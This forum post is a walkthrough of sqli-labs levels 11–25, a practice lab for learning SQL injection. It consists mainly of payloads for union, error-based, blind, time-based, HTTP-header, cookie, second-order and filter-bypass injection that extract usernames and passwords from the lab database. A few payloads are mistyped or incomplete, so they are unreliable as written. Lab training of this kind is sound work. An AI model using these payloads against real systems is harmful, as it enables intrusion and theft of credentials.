【精选详细】sql-labs通关(SQL注入11-25)

打印 上一主题 下一主题

主题 837|帖子 837|积分 2511


   sqli-labs靶场适合于初学sql注入的新手,它包含了许多的场景和模式为训练者提供精良的训练平台,以下这些语句搞懂我们做靶场就如鱼得水,非常自大的可以完成。
查询当前数据库版本:select version();
● 查询当前数据库:select database();
● 查询当前路径:select @@basedir;
● 查询当前数据库用户:select user();
● 查询当前MySQL路径:select @@datadir;
● 查询连接数据库的用户:select session_user();
● 查询服务器的系统版本:select @@Version_compile_os;
● 查询数据库:select schema_name from information_schema.schemata;
● 查询表名:select table_name from information_schema.tables where table_schema=‘库名’ limit 0,1;
● 查询列名:select column_name from information_schema.columns where table_schema=‘库名’ and table_name=‘表名’ limit 0,1;
  Less-11

   闭合方式是1’ #
  1. # 输入1' union select 1,2,来判断回显位置。
  2. # 输入语句来爆数据库名和数据库的表名
  3. -1' union 1,databse(),'group_concat(table_name) from information_schema.tables where table_schema='security' #
复制代码

  1. # 爆数据库中的表的字段
  2. -1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
复制代码

  1. # 爆数据库中users中数据内容
  2. -1' union select 1,group_concat(username,'-',password) from security.users #
复制代码

Less-12

   闭合方式 ") #
  和11关一样,只不外是闭合方式不一样
  1. # 爆数据库名
  2. -1) union select 1,database() #
复制代码

  1. # 爆数据库中的表名
  2. -1") union select 1,database() #
复制代码

  1. # 爆数据库中users表的字段
  2. -1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
复制代码

  1. # 爆数据库中users表中所有的内容
  2. -1") union select 1,group_concat(username,'-',password) from security.users #
复制代码

Less-13

   闭合方式’) #
  报错注入
  1. # 使用报错注入的方式来对数据库名进行爆库
  2. admin') union select updatexml(1,concat(0x7e,(database()),0x7e),1) #
复制代码

  1. # 对数据库中的表进行爆出
  2. admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码

  1. # 对users中的字段名爆出
  2. admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
复制代码

  1. # 把users表中的数据爆出
  2. admin') and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1)#
复制代码

Less-14

   闭合方式 " #
  报错注入的方法,与13关一样,闭合方式不一样
  1. # 对数据库名爆出
  2. admin" and updatexml(1,concat(0x7e,(database()),0x7e),1) #
复制代码

  1. # 把数据库中的表名爆出来
  2. admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码

  1. # 爆出users中的字段名
  2. admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #
复制代码

  1. # 爆出users中的所有数据
  2. admin" and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #
复制代码

Less-15

   此题使用联合查询和报错注入都无法乐成,以是只能用盲注和时间注入来解答此题。
  1. # 对数据库爆库
  2. admin' and if(ascii(substr(database(),1,1))>115#
复制代码
  1. # 对数据库中表名进行爆出
  2. admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 #
复制代码
  1. # 爆出数据库中users表中的字段
  2. admin' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 #
复制代码
  1. # 查询users表中所有的数据
  2. admin' and ascii(substr((select password from security.users limit 0,1),1,1))>100 #
复制代码
Less-16

   此题和15关一样,使用的是盲注,闭合方式不一样
  闭合方式")
  


  1. # 判断数据库的长度
  2. admin") and if(length(database())>8, 0, sleep(5))-- -
复制代码
  1. # 判断数据库的名
  2. admin") and if(ascii(substr(database(),1,1))=115, 0, sleep(5))-- -
复制代码
  1. # 判断数据库的表名
  2. admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>117, 0, sleep(5))-- -
复制代码
  1. # 判断表中的字段名
  2. admin") and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105, 0, sleep(5))-- -
复制代码
  1. # 判断表中的数据
  2. admin") and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))-- -
复制代码
Less-17

   闭合方式为1’ #
  使用报错注入,在new password中进行报错,因此在username中输入admin, new password中进行注入
  1. # 对数据库进行爆库
  2. 1' and (updatexml(1,concat(0x7e, database(),0x7e),1)) #
复制代码

  1. # 查询数据库中的表
  2. 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码

  1. # 查询users表中的字段
  2. 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
复制代码

  1. # 对users中的数据进行爆出
  2. -1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1) #
复制代码

Less-18

   闭合方式 ’ #
  此题是http头部注入,使用User-Agent注入
  1. # 输入正确的用户和密码显示出UA头,错误的用户和密码会导致页面显示没有变化
复制代码

  1. # 进行抓包,然后对UA头进行注入,来爆数据库的名称
  2. ',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
复制代码

  1. # 查询数据库的表名
  2. ',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) #
复制代码

  1. # 查询表里的字段名
  2. ',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
复制代码

  1. # 查询数据库表中的内容
  2. ',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#
复制代码

Less-19

   此题需要http头部注入,登录乐成显示Referer报错注入
  闭合方式是’
  


   从中可以看出登录乐成页面回显,失败则没有回显信息
  因此我们使用referer进行报错
  1. # 查询数据库名
  2. ',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
复制代码

  1. # 查询数据库的表名
  2. ',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
复制代码
  1. # 查询数据库表中字段
  2. ',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
复制代码
  1. # 查询数据库所有数据
  2. ',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#
复制代码
Less-20

   此题需要使用cookie来解答
  1. # 当输入正确账户和密码时,页面显示的是cookie
复制代码

  1. # 通过get抓包来获取数据的信息,输入cookie来注入爆数据库名
  2. uname=-admin' union select 1,2,database()--+
复制代码

  1. # 查询数据库中的表
  2. uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码

  1. # 查询数据表中的字段
  2. uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
复制代码

  1. # 查询数据库表里的内容
  2. uname=-admin' union select 1,2,group_concat(username,'-',password) from security.users--+
复制代码

Less-21

   闭合方式’)
  此题需要将cookie的编码方式解码
  然后再进行加密编码
  然后再使用报错注入进行
  1. # 爆出数据库名
  2. ') and updatexml(1,concat(0x7e,database(),0x7e),1)#
复制代码

  1. # 爆出数据库中的表名
  2. ')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码

  1. # 爆出users表中的字段
  2. ')and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
复制代码

  1. # 查询出users表中所有的数据
  2. ')and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #
复制代码

Less-22

   闭合方式" #
  和二十一关一样,只是闭合方式不一样
  1. # 报错查询数据库
  2. " and updatexml(1,concat(0x7e,database(),0x7e),1)#
复制代码

  1. # 报错注入查询数据库下的表
  2. " and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码

  1. # 查询表下的字段
  2. " and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
复制代码

  1. # 查询数据库的内容
  2. " and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #
复制代码

Less-23

   闭合方式 ’ or ‘1’='1
  此关闭合会过滤符号,起首用or ’1‘=’1来进行闭合
  然后再用联合查询
  1. # 查数据库的名称
  2. -1' union select 1,database(),3  or '1'='1
复制代码

  1. # 查询数据库的表单
  2. -1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3  or '1'='1
复制代码

  1. # 查询数据库中表字段
  2. -1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3  or '1'='1
复制代码

  1. # 查询数据库中表的内容
  2. -1' union select 1,(select group_concat(username,password)from users),3  or '1'='1
复制代码

Less-24

   此题用了二次注入
  1. # 注册一个用户名a 密码123456的用户
复制代码

  1. # 注册一个a‘#的用户和密码
  2. # 然后用错误的密码修改
复制代码

  1. # 再次登录a 用刚才修改后的密码,发现登录成功
复制代码
Less-25

   闭合方式’ --+
  起首使用联合注入,看到其回显位置
  然后需要用双绕过来报错注入
  1. # 联合注入,判断回显位置
  2. -1' Union select 1,2,3 --+
复制代码

  1. # 报错查询数据库
  2. -1' aandnd updatexml(1,concat(0x7e,database(),0x7e),1) --+
  3. -1' oorr updatexml(1,concat(0x7e,database(),0x7e),1)--+     //两句都可以注入
复制代码

  1. # 查询数据库下的表
  2. -1' aandnd updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e),1) --+
复制代码

  1. # 查询数据库表下的字段
  2. -1' oorr updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrormation_schema.columns where table_name='users'),0x7e),1) --+
复制代码

  1. # 查询数据库表下的内容
  2. -1' aandnd updatexml(1,concat(0x7e,(select group_concat(username,'-',passwoorrd) from security.users),0x7e),1) --+
复制代码

好小子,离乐成又近一步

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

温锦文欧普厨电及净水器总代理

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表